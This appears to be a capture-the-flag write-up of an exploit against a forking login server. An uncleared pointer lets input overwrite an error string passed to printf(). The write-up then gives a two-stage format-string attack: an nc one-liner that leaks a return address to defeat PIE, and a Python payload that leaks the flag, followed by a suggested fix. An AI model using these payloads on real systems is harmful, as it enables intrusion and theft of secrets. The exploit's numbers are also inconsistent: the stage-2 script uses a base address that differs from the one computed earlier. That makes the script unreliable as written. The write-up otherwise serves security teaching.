Analysis of the bug =================== The `login()` function does not reset the `pw1` pointer back to `buf` before starting the second attempt. The while cycle in the first attempt had moved the `pw1` pointer at the end of `buf`, thus pointing at the beginning of `errmsg`. An attacker can therefore overwrite `errmsg`, which is then passed as the first argument of `printf()`. The overflow thus leads to a format-string vulnerability. Attack plan =========== The program reads the flag and stores it in the `password` global buffer. The idea is to exploit the format-string vulnerability to let `printf()` send us the contents of this buffer, using the `%s` operator. Since the program is protected with PIE, we don't know the address of `password`. However, the format-string vulnerability can also be used to leak information from the process stack, and this information may reveal the load address of the binary. Since the binary implements a forking server, we can connect a first time to leak the load address, and then a second time to leak the password. Attack implementation ===================== By running the program locally with a debugger we can se that, when `printf()` is about to be called, the stack contains the return address of the `login()` function at offset 0x138, corresponding to argument 0x138 / 8 + 6 = 45 of the `printf()`. We can leak this address with ``` sh python3 -c 'print("A"*128+"%45$012lx\n"+"B"*(128-10), end="")' | nc host port ``` The address is printed on the third line. Assume it is 000055992d33c546 (hex). From the debugger we can see that the return address is `child+29`. The offset of `child` can be obtained from the binary: ``` sh nm server | grep child ``` We obtain 0x1529. We can now compute the load address of the binary: 0x000055992d33c546 - (0x1529 + 29) = 0x55992d33b000 From this we can compute the address of `password`: ``` sh nm server | grep password ``` The offset is 0x4060 and the address is 0x55992d33b000 + 0x4060 = 0x55992d33f060 Now we can connect a second time and leak the password. We put the address of `password` after the `%s` operator, since it contains null bytes and these would stop `printf()` before it had any chance to see our `%s`. We must be careful to align the address to a stack line, and compute its argument number. The easiest way is to send 128 `A`s followed by 128 `B`s and observe the stack in the debugger, immediately after the call to `printf@plt`. The `B`s start at argument 26. We use this position to store the `%s` operator, then the password address will be at argument 27. We write the following in a `stage-2.py` script: ``` python import sys from struct import pack pie_base = 0x55992d33f000 # obtained in the first stage password_off = 0x4060 p1 = b"A"*128 p2 = b"%27$sXX\n" # 8 bytes, to align the address that follows p2+= pack('Q', pie_base + password_off) p2+= b"B"*(128-len(p2)) # send exactly 128 bytes for readpw() sys.stdout.buffer.write(p1+p2) ``` Then we can leak the password: ``` sh python3 stage-2.py | nc host port ``` Suggested fix ============= `pw1` should be reset to `buf` immediatly after the `retry` label. In this example there is also no need to store the errmsg string in a local array, since the program never updates it. Note that compiling with `FORTIFY_SOURCE` is of little help here, since there is enough room to move the argument pointers without using random access arguments.